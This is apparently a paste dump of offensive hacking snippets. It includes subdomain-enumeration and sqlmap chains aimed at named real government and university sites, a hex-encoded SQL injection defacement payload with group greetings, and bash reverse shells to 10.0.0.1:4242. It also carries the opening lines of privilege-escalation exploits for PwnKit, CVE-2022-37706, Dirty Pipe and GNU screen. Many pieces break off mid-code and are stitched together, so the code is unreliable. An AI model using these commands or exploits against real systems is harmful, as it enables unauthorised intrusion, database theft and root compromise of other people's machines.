spynika

- subdomain enumeration filter response 200 save result
assetfinder --subs-only bssn.go.id | httpx -mc 200 > /home/haxor/list/3/2/google200.txt -dashboard

- enumerate subdomain > check response 200 > crawling sqlmap get database
subfinder -d unam.mx -silent | httpx -status-code -silent | grep "200" | awk '{print $1}' | xargs -I {} sqlmap -u {} --crawl=1 --dbs --batch --output-dir=sqlmap_results | tee -a /home/haxor/list/sql300.txt

- multi sqlmap from list and save result
cat /home/haxor/list/sql.txt | xargs -I {} sqlmap -u {} --dbs --batch --level=5 --risk=3 --tamper=space2comment --
random-agent  --output-dir=sqlmap_results | tee -a /home/haxor/list/sqlmap_log.txt

spynika

#!/usr/bin/sqlmap

Author : Omest
Thanks to : Hz3666ghost ( Master Sqlmap )
Shootz : Rebirth Haxor - Indo Ghost Sec
Greetz : AnonGhost - Milw0rm - TeaMp0isoN

- sql yang di upload di header PUT
python2 sqlmap.py --method=PUT -u "https://nsa.gov" --headers="referer:*" 

spynika

DIOS 1
/*!00000CoNcAt*/(0x3c666f6e7420636f6c6f723d7465616c3e3c7363726970743e646f63756d656e742e7469746c653d2248656c6c6f5765656e223b3c2f7363726970743e3c6c696e6b2072656c3d227374796c6573686565742220687265663d2268747470733a2f2f6d617863646e2e626f6f74737472617063646e2e636f6d2f626f6f7473747261702f342e332e312f6373732f626f6f7473747261702e6d696e2e637373223e3c63656e7465723e3c696d67207372633d2268747470733a2f2f692e6962622e636f2f397136503446312f32303230303730342d3136353732302e6a70672220636c6173733d226d782d6175746f20642d626c6f636b20696d672d666c75696422207469746c653d226f6d6573742220616c743d226f6d65737422207374796c653d2277696474683a2037303070783b206865696768743a20373030707822202f3e3c2f63656e7465723e3c683220636c6173733d22746578742d63656e74657220746578742d64616e676572223e3c623e3c666f6e7420636f6c6f723d6372696d736f6e3e52454249525448204841584f523c2f623e3c2f68323e3c63656e7465723e3c736d616c6c3e3c623e3c666f6e7420636f6c6f723d6d6167656e74613e54414e4747414c,/*!00000NOW()*/,0x3c2f623e3c2f736d616c6c3e3c2f63656e7465723e3c62723e3c64697620636

spynika

Awesome One-liner Bug Bounty Awesome
A collection of awesome one-liner scripts especially for bug bounty.

This repository stores and houses various one-liner for bug bounty tips provided by me as well as contributed by the community. Your contributions and suggestions are heartily♥ welcome.

Definitions
This section defines specific terms or placeholders that are used throughout one-line command/scripts.

1.1. "HOST" defines one hostname, (sub)domain, or IP address, e.g. replaced by internal.host, domain.tld, sub.domain.tld, or 127.0.0.1.
1.2. "HOSTS.txt" contains criteria 1.1 with more than one in file.

spynika

Reverse Shell
Bash TCP

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196

/bin/bash -l > /dev/tcp/10.0.0.1/4242 0<&1 2>&1
Bash UDP

spynika

// gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC

#define _XOPEN_SOURCE 700
#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

spynika

#!/bin/bash

echo "CVE-2022-37706"
echo "[*] Trying to find the vulnerable SUID file..."
echo "[*] This may take few seconds..."

file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)
if [[ -z ${file} ]]
then
	echo "[-] Couldn't find the vulnerable SUID file..."

spynika

# dirtypipe1

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized

spynika

#!/bin/bash

# Define colors using tput
RED=$(tput setaf 1)
GREEN=$(tput setaf 2)
YELLOW=$(tput setaf 3)
CYAN=$(tput setaf 6)
RESET=$(tput sgr0)
BOLD=$(tput bold)

spynika

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c